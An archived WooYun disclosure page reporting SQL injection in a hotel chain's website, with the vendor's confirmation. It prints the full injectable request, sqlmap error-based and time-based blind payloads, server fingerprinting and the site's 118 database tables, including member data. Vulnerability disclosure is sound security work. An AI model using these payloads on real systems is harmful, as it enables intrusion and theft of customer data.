当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0149567

漏洞标题:格林豪泰酒店主站存在SQL注入(涉及94w用户)

相关厂商:格林豪泰酒店管理集团

漏洞作者: miracle

提交时间:2015-10-26 15:43

修复时间:2015-12-10 18:48

公开时间:2015-12-10 18:48

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-26: 细节已通知厂商并且等待厂商处理中
2015-10-26: 厂商已经确认,细节仅向厂商公开
2015-11-05: 细节向核心白帽子及相关领域专家公开
2015-11-15: 细节向普通白帽子公开
2015-11-25: 细节向实习白帽子公开
2015-12-10: 细节向公众公开

简要描述:

详细说明:

POST /HotelDetail/GetHotelTopicCommentList HTTP/1.1
Content-Length: 210
Content-Type: application/x-www-form-urlencoded
Cookie: ASP.NET_SessionId=uvdak5kntpktusnecu2bcbi4; HotelCookie1=161839%7c%e9%9d%92%e7%9a%ae%e6%a0%91%e5%b9%bf%e4%b8%9c%e7%9c%81%e6%b1%95%e5%a4%b4%e5%b8%82%e9%95%bf%e5%b9%b3%e4%b8%9c%e8%b7%af%e5%9b%bd%e6%96%b0%e8%8a%b1%e5%9b%ad%e9%85%92%e5%ba%97%7chttp%3a%2f%2fa3.greentree.cn%3a8022%2f%2fUploadFiles%2fcrs%2fHotelImg%2f161839%2fLogo%2fLOGO_161839_3.jpg%7c4.6%7c164%7cVatica+Guangdong+Shantou+East+Changping+Road+Guoxin+Garden+Hotel; HotelCookie2=121629%7c%e6%a0%bc%e6%9e%97%e8%b1%aa%e6%b3%b0%e5%b9%bf%e4%b8%9c%e7%9c%81%e5%b9%bf%e5%b7%9e%e5%b8%82%e7%99%bd%e4%ba%91%e5%8c%ba%e9%bb%84%e7%9f%b3%e8%a5%bf%e8%b7%af%e5%bf%ab%e6%8d%b7%e9%85%92%e5%ba%97%7chttp%3a%2f%2fa3.greentree.cn%3a8022%2f%2fUploadFiles%2fcrs%2fHotelImg%2f121629%2fLogo%2fLOGO_121629_3.jpg%7c4.5%7c56%7cGreenTree+Inn+Guangdong+Guangzhou+Baiyun+West+Huangshi+Road+Express+Hotel; HotelCookie3=162509%7c%e9%9d%92%e7%9a%ae%e6%a0%91%e9%9f%a9%e5%9b%bd%e9%a6%96%e5%b0%94%e5%b8%82%e4%b8%9c%e5%a4%a7%e9%97%a8%e9%85%92%e5%ba%97%7chttp%3a%2f%2fa3.greentree.cn%3a8022%2f%2fUploadFiles%2fcrs%2fHotelImg%2f162509%2fLogo%2fLOGO_162509_3.jpg%7c5%7c0%7cVatica+South+Korea+Seoul+Dongdaemun+Design+Plaza+Hotel+; HotelCookie4=; HotelCookie5=; Hm_lvt_0e4a2c65bdaddd66a53422d93daebe68=1445788496,1445788727,1445788792,1445789294; Hm_lpvt_0e4a2c65bdaddd66a53422d93daebe68=1445789294; CitySearchHis=226%24%ef%bf%bd%cf%ba%ef%bf%bd%242015%2f10%2f26+0%3a08%3a42%7c; BAIDUID=B069A3B7DC5038DE580673ADDB1483CE:FG=1; HMACCOUNT=0567E2D7B874F3D0; v="2015102523340400035712700121889022|::"; opxPID=2015102523340400035712700121889022; u=1445787244357|1445787244357|1445787244357|1445787244358|1445787244358|1445787244358|1445787244358|1445787244358|1445787244358|1445787244358|1445787244358|1445787244358|1445787244358|; JSESSIONID=A1040B6EA99108C8901ED3A779063F78
Host: www.998.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
hotelCode=11&pagerIndex=1&pagerSize=5

注入点:hotelCode

11.png

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: hotelCode (POST)
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: hotelCode=11' AND 7584=CONVERT(INT,(SELECT CHAR(113)+CHAR(112)+CHAR(106)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (7584=7584) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(113)+CHAR(112)+CHAR(113))) AND 'KGIC'='KGIC&pagerIndex=1&pagerSize=5
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase OR time-based blind (heavy query)
Payload: hotelCode=11' OR 9310=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) AND 'ufkN'='ufkN&pagerIndex=1&pagerSize=5
---
web server operating system: Windows 8.1 or 2012 R2
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 8.5
back-end DBMS: Microsoft SQL Server 2012
Database: GTOW
[118 tables]
+----------------------------------------+
| 38ActivityPicture |
| 38ActivityVote |
| ActivityCommon |
| ActivityData |
| ActivityFIFAData |
| ActivityFIFASetting |
| ActivityInfo |
| CheckInMan |
| Cooperation_Details |
| Cooperation_Type |
| HotelGMapInfo |
| HotelInfo |
| HotelInfoView |
| HotelRank |
| HotelRank0 |
| HotelRank20140617 |
| HotelRankScore |
| HotelTopicComment |
| HotelTopicCommentAppend |
| MSpeer_conflictdetectionconfigrequest |
| MSpeer_conflictdetectionconfigresponse |
| MSpeer_lsns |
| MSpeer_originatorid_history |
| MSpeer_request |
| MSpeer_response |
| MSpeer_topologyrequest |
| MSpeer_topologyresponse |
| MSpub_identity_range |
| MSreplication_objects |
| MSreplication_subscriptions |
| MSsnapshotdeliveryprogress |
| MSsubscription_agents |
| MSsubscription_properties |
| M_BusinessDistrict |
| M_Meun |
| M_SystemMenu |
| MemberCardType |
| MemberInfo |
| MemberInfo20140617 |
| MemberInfo2014061701 |
| MemberMessage |
| MemberMessageText |
| MerchantAccounts |
| MerchantAccounts2015051201 |
| MerchantCollection |
| MerchantComment |
| MerchantCommentRespond |
| MerchantImages |
| MerchantInfo |
| MerchantInfoDesc |
| MerchantScore |
| MerchantType |
| MerchantVoucher |
| MobileCode |
| RoomType |
| SpringtourPicture |
| SpringtourVote |
| TActivityInfo |
| TAdvertisement |
| TBasicParamete |
| TBbsBoard |
| TBbsHits |
| TBbsReply |
| TBbsTopic |
| TBrandType |
| TCouponInfo |
| TCouponInfo20140613 |
| TDiscountInfo |
| THelpClass |
| THelpInfo |
| THelpInfo20150902 |
| THelpInfo2015090201 |
| THelpInfo2015090203 |
| THotCity |
| TLinkInfo |
| TNewsInfo |
| TOrderNumber |
| TShopConsigneeAddress |
| TShopCreditsRange |
| TShopGift |
| TShopGiftClass |
| TShopGiftProperty |
| TShopOrder |
| TShopShoppingCart |
| TSiteInfo |
| TSiteSeachHis |
| TUserAvatar |
| TVariable |
| VisitLog2013 |
| VisitLog2014 |
| VisitLog2014bk20140929 |
| VisitLog2015 |
| VisitLog2015bk20150203 |
| VisitLog2015bk20150206 |
| VisitLog2016 |
| VisitLog2017 |
| WebFilesNews |
| hotelArea |
| iccard_kinds |
| m_HotelColumnDescription |
| m_HotelInfoAttack |
| m_PointHotelWay |
| m_RoomInfoAttack |
| m_RoomTypeAttachment |
| m_aroundmappoint |
| m_iccard_kinds |
| syncobj_0x3231443445443443 |
| syncobj_0x3436333237323335 |
| sysarticlecolumns |
| sysarticles |
| sysarticleupdates |
| sysextendedarticlesview |
| syspublications |
| sysreplservers |
| sysschemaarticles |
| syssubscriptions |
| systranschemas |
| v_HotelArea |
+----------------------------------------+

33.png

漏洞证明:

修复方案:

版权声明:转载请注明来源 miracle@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-10-26 18:46

厂商回复:

感谢对格林的关注,请勿重复报相同问题, 谢谢配合!

最新状态:

暂无


漏洞评价:

评论